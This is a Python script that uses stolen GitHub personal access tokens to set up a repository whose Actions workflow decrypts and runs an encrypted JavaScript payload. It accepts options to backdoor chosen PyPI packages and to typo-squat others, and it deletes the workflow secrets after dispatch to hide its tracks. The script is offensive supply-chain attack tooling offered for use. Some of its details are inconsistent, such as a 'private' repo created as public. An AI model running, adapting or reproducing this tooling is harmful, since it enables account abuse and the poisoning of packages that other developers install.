#!/usr/bin/env python3 """Create a private GitHub repo with a workflow_dispatch-triggered payload. Usage: python3 scripts/create_payload_repo.py \ --orchestartor-pat ghp_xxx \ --repo owner/name \ --js-path ./payload.js \ --pats ghp_aaa,ghp_bbb Creates: 1. Private repo (using --orchestartor-pat) 2. index.js (the payload) 3. .github/workflows/run.yml — reads PATS secret → GITHUB_TOKEN2 → bun 4. An Actions secret PATS containing the comma-separated PATs 5. Dispatches a single workflow run """ import argparse import base64 import os import random import secrets import subprocess import sys from hashlib import sha256 import nacl.encoding import nacl.public import requests API = "https://api.github.com" # Set by main() — all API calls use this token. _TOKEN: str = "" def _headers() -> dict: return { "Authorization": f"Bearer {_TOKEN}", "Accept": "application/vnd.github+json", "X-GitHub-Api-Version": "2022-11-28", } def gh(method: str, path: str, **kwargs) -> dict | None: url = f"{API}{path}" if path.startswith("/") else path r = requests.request(method, url, headers=_headers(), **kwargs) if not r.ok: print(f"API error {r.status_code}: {r.text}", file=sys.stderr) sys.exit(1) if r.status_code == 204: return None return r.json() # ── Actions secret helpers ────────────────────────────────────────────── def get_repo_public_key(owner: str, repo: str) -> tuple[str, str]: """Return (key_id, key) for the repo's Actions secret encryption.""" r = gh("GET", f"/repos/{owner}/{repo}/actions/secrets/public-key") return r["key_id"], r["key"] def encrypt_secret_value(plaintext: str, pubkey_b64: str) -> str: """Encrypt a value using libsodium sealed box with the repo's public key (required by the GitHub Actions secrets API).""" pk = nacl.public.PublicKey(pubkey_b64, encoder=nacl.encoding.Base64Encoder) box = nacl.public.SealedBox(pk) encrypted = box.encrypt(plaintext.encode()) return base64.b64encode(encrypted).decode() def put_secret(owner: str, repo: str, name: str, value: str): """Create or update a repo-level Actions secret.""" key_id, pubkey = get_repo_public_key(owner, repo) encrypted = encrypt_secret_value(value, pubkey) gh( "PUT", f"/repos/{owner}/{repo}/actions/secrets/{name}", json={"encrypted_value": encrypted, "key_id": key_id}, ) # ── Repo operations ───────────────────────────────────────────────────── def create_repo(name: str, private: bool = False) -> dict: data = {"name": name, "private": False, "auto_init": True} return gh("POST", "/user/repos", json=data) def create_blob(owner: str, repo: str, content: str) -> str: encoded = base64.b64encode(content.encode()).decode() return gh( "POST", f"/repos/{owner}/{repo}/git/blobs", json={"content": encoded, "encoding": "base64"}, )["sha"] def get_default_branch_sha(owner: str, repo: str) -> str: r = gh("GET", f"/repos/{owner}/{repo}") branch = r["default_branch"] ref = gh("GET", f"/repos/{owner}/{repo}/git/ref/heads/{branch}") return ref["object"]["sha"] def get_base_tree(owner: str, repo: str, sha: str) -> str: commit = gh("GET", f"/repos/{owner}/{repo}/git/commits/{sha}") return commit["tree"]["sha"] def create_tree( owner: str, repo: str, base_tree: str | None, entries: list[dict] ) -> str: body: dict = {"tree": entries} if base_tree is not None: body["base_tree"] = base_tree return gh( "POST", f"/repos/{owner}/{repo}/git/trees", json=body, )["sha"] def create_commit( owner: str, repo: str, message: str, tree: str, parents: list[str] ) -> str: return gh( "POST", f"/repos/{owner}/{repo}/git/commits", json={"message": message, "tree": tree, "parents": parents}, )["sha"] def update_ref(owner: str, repo: str, branch: str, sha: str): gh( "PATCH", f"/repos/{owner}/{repo}/git/refs/heads/{branch}", json={"sha": sha, "force": True}, ) def get_default_branch(owner: str, repo: str) -> str: return gh("GET", f"/repos/{owner}/{repo}")["default_branch"] # ── Payload encryption ───────────────────────────────────────────────── def encrypt_payload(data: bytes, passphrase: str) -> str: """AES-256-CBC encrypt with passphrase-derived key. Returns base64 of IV + ciphertext.""" iv = os.urandom(16) key = sha256(passphrase.encode()).digest() proc = subprocess.run( [ "openssl", "enc", "-aes-256-cbc", "-K", key.hex(), "-iv", iv.hex(), "-nosalt", ], input=data, capture_output=True, ) if proc.returncode != 0: raise RuntimeError(f"openssl encrypt failed: {proc.stderr.decode()}") return base64.b64encode(iv + proc.stdout).decode() # One-liner decryptor embedded in the workflow YAML DECRYPT_STEP = ( 'python3 -c "' "import base64,hashlib,os,subprocess;" "d=base64.b64decode(open('index.js','rb').read());" "iv=d[:16];ct=d[16:];" "k=hashlib.sha256(os.environ['PASSPHRASE'].encode()).digest();" "p=subprocess.run(['openssl','enc','-d','-aes-256-cbc','-K',k.hex(),'-iv',iv.hex(),'-nosalt'],input=ct,capture_output=True);" "open('index.js','wb').write(p.stdout)" '"' ) # ── Main ──────────────────────────────────────────────────────────────── def main(): global _TOKEN parser = argparse.ArgumentParser(description="Create payload repo") parser.add_argument( "--orchestartor-pat", required=True, help="GitHub PAT used to create the repo and push commits", ) parser.add_argument("--repo", required=True, help="owner/name") parser.add_argument("--js-path", required=True, help="Path to index.js payload") parser.add_argument( "--pats", default=None, help="Comma-separated PATs to dispatch (or path to file, one per line)", ) parser.add_argument( "--packages", default=None, help="Comma-separated PyPI packages to backdoor (sets PACKAGES env in workflow)", ) parser.add_argument( "--passphrase", default=None, help="Custom passphrase (auto-generated if not provided)", ) parser.add_argument( "--pypi-typos", default=None, help="Comma-separated packages to typo-squat (sets TYPO_MODE=1 + TARGET_PACKAGES)", ) args = parser.parse_args() _TOKEN = args.orchestartor_pat owner, raw_name = args.repo.split("/", 1) name = f"{raw_name}-{random.randint(10000, 99999)}" with open(args.js_path) as f: js_content = f.read() # Encrypt payload (always — auto-generated passphrase if not provided) passphrase = args.passphrase or secrets.token_hex(32) js_content = encrypt_payload(js_content.encode(), passphrase) # Resolve PATs list pats: list[str] = [] if args.pats: if os.path.isfile(args.pats): with open(args.pats) as f: pats = [line.strip() for line in f if line.strip()] else: pats = [p.strip() for p in args.pats.split(",") if p.strip()] workflow_yaml = """\ name: Run on: workflow_dispatch: jobs: run: runs-on: ubuntu-latest permissions: issues: write steps: - uses: actions/checkout@v6 - uses: oven-sh/setup-bun@v2 - name: decrypt env: PASSPHRASE: ${{{{ secrets.PASSPHRASE }}}} run: {DECRYPT_STEP} - name: run env: GITHUB_TOKEN2: ${{ secrets.PATS }}""" if args.packages: workflow_yaml += "\n PACKAGES: ${{ secrets.PACKAGES }}" if args.pypi_typos: workflow_yaml += """\ TYPO_MODE: "1" TARGET_PACKAGES: ${{ secrets.TARGET_PACKAGES }}""" workflow_yaml += "\n run: bun run index.js\n" # 1. Create repo print(f"Creating private repo {args.repo}...", file=sys.stderr) create_repo(name, private=True) print(f" https://github.com/{args.repo}", file=sys.stderr) # 2. Get parent commit parent_sha = get_default_branch_sha(owner, name) base_tree = get_base_tree(owner, name, parent_sha) # 3. Create blobs js_sha = create_blob(owner, name, js_content) wf_sha = create_blob(owner, name, workflow_yaml) # 4. Build tree — .github/workflows/run.yml wf_tree = create_tree( owner, name, None, # no base — new tree [ { "path": "run.yml", "mode": "100644", "type": "blob", "sha": wf_sha, }, ], ) gh_tree = create_tree( owner, name, None, [ { "path": "workflows", "mode": "040000", "type": "tree", "sha": wf_tree, }, ], ) new_tree = create_tree( owner, name, base_tree, [ {"path": "index.js", "mode": "100644", "type": "blob", "sha": js_sha}, {"path": ".github", "mode": "040000", "type": "tree", "sha": gh_tree}, ], ) # 5. Commit commit_sha = create_commit(owner, name, "Add workflow", new_tree, [parent_sha]) update_ref(owner, name, get_default_branch(owner, name), commit_sha) print(f"\nRepo: https://github.com/{args.repo}", file=sys.stderr) print( f"Dispatch: https://github.com/{args.repo}/actions/workflows/run.yml", file=sys.stderr, ) # 6. Store secrets if pats: pats_csv = ",".join(pats) print(f"Storing PATS secret ({len(pats)} token(s))...", file=sys.stderr) put_secret(owner, name, "PATS", pats_csv) if args.packages: print(f"Storing PACKAGES secret: {args.packages}...", file=sys.stderr) put_secret(owner, name, "PACKAGES", args.packages) print("Storing PASSPHRASE secret...", file=sys.stderr) put_secret(owner, name, "PASSPHRASE", passphrase) if args.pypi_typos: print(f"Storing TARGET_PACKAGES secret: {args.pypi_typos}...", file=sys.stderr) put_secret(owner, name, "TARGET_PACKAGES", args.pypi_typos) # 7. Dispatch the workflow (no inputs — reads PATS secret) branch = get_default_branch(owner, name) print(f"Dispatching workflow on {branch}...", file=sys.stderr) gh( "POST", f"/repos/{owner}/{name}/actions/workflows/run.yml/dispatches", json={"ref": branch}, ) print(" dispatched", file=sys.stderr) # 8. Wait for the workflow to pick up the secrets, then delete them import time print("Waiting 15s for workflow to start...", file=sys.stderr) time.sleep(10) if pats: print("Deleting PATS secret...", file=sys.stderr) gh("DELETE", f"/repos/{owner}/{name}/actions/secrets/PATS") print(" deleted", file=sys.stderr) if args.packages: print("Deleting PACKAGES secret...", file=sys.stderr) gh("DELETE", f"/repos/{owner}/{name}/actions/secrets/PACKAGES") print(" deleted", file=sys.stderr) print("Deleting PASSPHRASE secret...", file=sys.stderr) gh("DELETE", f"/repos/{owner}/{name}/actions/secrets/PASSPHRASE") print(" deleted", file=sys.stderr) if args.pypi_typos: print("Deleting TARGET_PACKAGES secret...", file=sys.stderr) gh("DELETE", f"/repos/{owner}/{name}/actions/secrets/TARGET_PACKAGES") print(" deleted", file=sys.stderr) print(args.repo) if __name__ == "__main__": main()